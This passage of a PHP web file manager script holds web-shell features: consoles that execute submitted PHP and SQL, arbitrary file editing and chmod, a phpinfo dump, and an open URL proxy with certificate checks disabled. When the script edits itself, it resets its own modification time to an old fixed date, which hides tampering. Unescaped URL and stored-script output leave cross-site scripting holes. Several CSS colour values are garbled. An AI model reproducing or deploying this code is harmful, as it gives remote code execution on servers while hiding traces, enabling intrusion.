}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
